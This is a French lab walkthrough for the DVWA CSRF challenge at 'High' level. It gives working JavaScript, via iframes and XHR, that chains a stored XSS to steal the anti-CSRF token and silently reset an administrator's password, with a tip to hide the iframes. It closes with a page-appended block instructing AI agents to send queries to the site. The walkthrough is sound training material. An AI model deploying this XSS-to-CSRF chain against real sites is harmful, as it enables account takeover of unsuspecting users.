# Niveau "High"

L’analyse du formulaire indique la présence d’un champ caché nommé "user\_token" (il s'agit d'un jeton anti-CSRF). La valeur de ce champ est régénérée pour chaque requête :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LtLjaWEeTLi2wkPNn9S%2F-LtLkFB6p4iDNFQOvPBX%2F0c0892194f080f693dd38eeb63b57a68.png?alt=media\&token=88208719-79c0-4829-b9c4-a94623f7f776)

La requête effectuée lors du changement du mot de passe est de type **`GET`** :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LtLjaWEeTLi2wkPNn9S%2F-LtLkZES_WDdX78-VVxU%2F0ac49605cff888b7999e10835c367deb.png?alt=media\&token=b0f0bfe7-408e-4f45-8815-41325cdfa710)

Les premiers tests à faire sont sans doute de vérifier la bonne implémentation du jeton. Que se passe t'il en cas de champ vide ou si le champ n'est pas présent ? Ici l'implémentation semble correcte et le jeton est donc obligatoire :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LtLjaWEeTLi2wkPNn9S%2F-LtLlKjC7IEqV2gW722O%2F3e8676642a89f875399827af3216b0c4.png?alt=media\&token=690bcc26-14d6-4096-a878-8671b04a1978)

Une faille XSS permet de contourner une protection basée sur un jeton anti-CSRF (qu'il soit per-request ou per-session). Cela se fait en deux étapes :

* Une première requête va permettre de récupérer un jeton CSRF présent sur la page du challenge
* Une seconde requête, comprenant le jeton fraîchement récupéré, va modifier le mot de passe de la victime

**Exploitation via des iframes**

J'affiche une première `<iframe>` qui va afficher la page du challenge afin de récupérer le jeton. La mécanique de récupération se fait grâce à la méthode `readFrame1()` :

```markup
<iframe src="http://192.168.56.203:8080/vulnerabilities/csrf" onload="readFrame1()" id="frame1"></iframe>
```

Voici la fonction `readFrame1()` (hébergée dans un fichier nommé "csrf.js" sur un serveur malicieux) :

{% code title="csrf.js" %}

```javascript
function readFrame() {
  var token='&user_token=' + document.getElementById("frame1").contentDocument.getElementsByName("user_token")[0].value;
  var link = "http://192.168.56.203:8080/vulnerabilities/csrf?password_new=hacked&password_conf=hacked&Change=Change"+token;
  document.getElementById("frame2").src=link;
}
```

{% endcode %}

La variable `token` va contenir la chaîne suivante : `"&user_token=jeton_csrf_récupérée"`. J'assigne à une seconde `<iframe>` une URL représentant la requête **`GET`** effectuant le changement de mot de passe.

Cette `<iframe>` sera appelée de cette façon :

```markup
<iframe id="frame2"></iframe>
```

Ci-dessous la payload ainsi que son affichage lors de l'exécution. Bien penser à injecter la payload en mode "Low" mais de repasser en mode "High" pour son exploitation :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LtMWk9ViVm0chGweJJf%2F-LtMWnt5IkpCl6sgXwd6%2F3b6e8a0ec33f5961bef8be1b5f820505.png?alt=media\&token=293bc1cf-ab7d-4999-a472-966ffc611149)

{% hint style="info" %}
Afin de rendre l'attaque plus discrète, il est possible de ne pas afficher les `<iframe>` grâce au style CSS `style="display:none"`
{% endhint %}

Une fois que l'administrateur visitera la page du challenge XSS, son mot de passe sera changé :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LtMYEyoWGRcu35O5syi%2F-LtM__3UGEh3-69xCiVI%2F1fb2b3663d21dad270b6c81e9e61e79c.png?alt=media\&token=9ce2a8e7-2635-4e71-9b3c-a103813d7deb)

**Exploitation via des requêtes XHR**

Un peu plus moderne, il est possible d'effectuer la même attaque en utilisant deux requêtes **`XHR`**. La première va permettre de récupérer le jeton :

```javascript
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://192.168.56.203:8080/vulnerabilities/csrf', true);
xhr.withCredentials = true;
xhr.responseType = "document";

xhr.onload = function () {
        var token = xhr.response.getElementsByName('user_token')[0].value;
        
        // Exécuter Requête 2, changement de mot de passe
};

xhr.send();
```

Et la seconde, d'effectuer le changement de mot de passe une fois la première requête exécutée (et le jeton récupéré) :

> ```javascript
>    // Requête 2
>    var xhr2 = new XMLHttpRequest();
>    xhr2.open('GET', 'http://192.168.56.203:8080/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=' + token, true);
>    xhr2.send();
> ```

La mise en place de la payload s'effectue toujours en se servant de la vulnérabilité XSS en niveau "Low" :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LtM_dlyxPNM5yPqqHtH%2F-LtMidwjFhIdy9mRRE2D%2F7cf8487e2619f973ab30e38f5ea8f209.png?alt=media\&token=81cde8a5-742c-4122-9b3c-5e2969a47a90)

Lorsque la victime exécutera la payload XSS cela va déclencher l'attaque CSRF (repasser en "High") :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LtM_dlyxPNM5yPqqHtH%2F-LtMj3VNfrnC5JBBbvkW%2F8016744e58ba30e8ff427294598eacfc.png?alt=media\&token=9dfbde04-0537-4a79-a954-e57a8db314bb)

Le mot de passe de l'administrateur a bien été changé suite à sa visite (du challenge XSS) :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LtM_dlyxPNM5yPqqHtH%2F-LtMjK2D0wRFhTize2xf%2F94ceb456695bfa0da35e85c676d73400.png?alt=media\&token=3f87156d-c617-4fa3-9abb-c04851b69736)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sharpforce.gitbook.io/cybersecurity/walkthroughs/deliberately-vulnerable/damn-vulnerable-web-application-dvwa/csrf/niveau-high.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
